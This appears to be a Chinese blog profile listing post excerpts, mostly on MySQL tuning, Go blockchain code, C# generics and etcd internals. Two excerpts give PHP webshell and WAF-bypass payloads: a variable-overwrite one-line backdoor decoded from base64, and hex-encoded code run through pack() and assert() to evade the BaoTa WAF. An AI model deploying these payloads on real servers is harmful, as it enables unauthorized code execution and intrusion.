- 博客(12)
- 收藏
- 关注
原创 MySQL表锁与行锁
//MyISAM 查看表的情况:show open tables; 加锁:lock table 表名 read(write),表二 read(write); 释放锁:unlock tables; 分析表锁定:show status like 'table%';//innoDB事务四个特性:ACID(Atomicity:原子性、Consistent:一致性、Isolation:隔离性、Durable:持久性)并发事务处理带来的问题:更新丢失(最后的一个事务会覆盖)、脏读(读取未提交的数据)、不
2022-05-07 16:35:15
532
原创 MySQL分析工具
//慢查询日志分析(long_query_time默认值为10)开启之后会自动将执行时间超过时间阙值的SQL抓取到本地文件查看:SHOW VARIABLES LIKE '%slow_query_log%'; SHOW VARIABLES LIKE 'long_query_time%';开启:SET GLOBAL slow_query_log=1;日志分析工具mysqldumpslow s:表示按照何种方式排序 c:访问次数 l:锁定时间 r:返回记录 t:查询时间 al:平均锁定时间
2022-05-07 14:01:25
443
原创 MYSQL性能分析
//SQL调优的看法1.观察,看看生产的慢SQL情况2.开启慢查询日志,设置阙值将它取出来3.explain+慢SQL分析4.show profile查询SQL在Mysql服务器里面的执行细节和生命周期情况5.数据库服务器的参数调优 //引擎innodb(对比MYISAM)支持主外键支持事务支持行锁、表锁不仅缓存索引还缓存数据,对内存要求较高关注点是事务//SQL性能下降的原因查询语句写得烂索引失效关联太多join服务器调优及各个参数设置(缓存,线程数等)//加载顺序
2022-05-06 08:43:25
215
原创 golang 区块链:默克尔树(Merkle Tree)
生成默克尔树type MerkleTree struct { RootNode *MerkleNode}type MerkleNode struct { Left *MerkleNode Right *MerkleNode Data []byte}/*对默克尔节点进行hash256 */func hashMerkleNodes(isLeaf bool ,merkleNodes []*MerkleNode) (returnMerkleNodes []*MerkleNode) {.
2022-04-02 11:15:05
1012
原创 golang 区块链:验证签名
1.遍历交易集合txs获取全部的消费记录inputMap2.从区块链获取inputMap的消费记录input对应的output3.传入output的集合,逐笔验证签名验证:1.复制一份新的交易对象(input的签名和公钥置空)2.对复制的交易进行hash,获取签名需要的hash(获取input的output所在的交易设置vin的公钥为utxo的pubhash对交易进行hash)3.验证签名type Client struct { Blockchain *blockchain.Blo
2022-02-16 09:55:08
1869
原创 全国省市县列表
const areaInfo={ provinces:["北京市" ,"广东省" ,"山东省" ,"江苏省" ,"河南省" ,"上海市" ,"河北省" ,"浙江省" ,"香港特别行政区" ,"陕西省" ,"湖南省" ,"重庆市" ,"福建省" ,"天津市" ,"云南省" ,"四川省" ,"广西壮族自治区" ,"安徽省" ,"海南省" ,"江西省" ,"湖北省" ,"山西省" ,"辽宁省" ,"台湾省" ,"黑龙江" ,"内蒙古自治区" ,"澳门特别行政区" ,"贵州省" ,"甘肃省" ,"青海省" ,.
2021-11-09 09:05:31
696
原创 c# 泛型
c# 泛型方法声明方法调用功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入方法声明方法调用我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博
2021-09-13 09:49:07
155
原创 上传脚本文件(一句话后门)WAF绕过(php)
变量覆盖、1.变量覆盖要上传的脚本:<?php$a = $_GET['x'];$$a = $_GET['y'];$b(base64_decode($_POST['z']));>phpinfo();转为base64为:cGhwaW5mbygpOw==url为:www.xxx.com?x=b&y=assert传入的data:x= cGhwaW5mbygpOw==2.加密混淆将脚本文件加密加密连接:http://phpjiami.com/phpjiami.html
2021-07-11 18:19:08
360
2
原创 RCE绕过宝塔WAF(php)
1.参数bin2hex加密,例如phpinfo():编写脚本得到加密后的数据:706870696e666f28293b<?php$str = "phpinfo();";$hex = bin2hex($str);echo($hex)?>url的参数为:www.xx.com?x=hex=′706870696e666f28293b′;assert(pack("H∗",hex='706870696e666f28293b';assert(pack("H*",hex=′706870696e6
2021-07-11 12:30:48
1376
原创 go sql 解析time.Time类型
代码:package mainimport ( "fmt" _ "github.com/go-sql-driver/mysql" "github.com/jmoiron/sqlx" "time")var db *sqlx.DB //连接池对象/*初始化mysqldsn格式为 username:password@tcp(ip:port)/databasemaxOpenConns int //设置连接池最大连接数maxIdleConns int //设置最大空闲数*/
2021-04-17 12:36:58
1195
原创 etcd watch原理
etcd watch原理服务初始化接收 watch 请求1.接收 watch 请求 recvLoop2. 接收 watch 请求 sendLoopMVCC watchwatch方法:MVCC 消息生成newWatchableStore方法慢速处理粗浅了解,如有错误之处,请指教!服务初始化etcd 启动时会注册 WatchServer[1], pb.WatchServer 用于处理 watch 请求接收 watch 请求每一个 watch 流都创建一个 serverWatchStream 结构
2021-04-11 10:58:54
2597
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人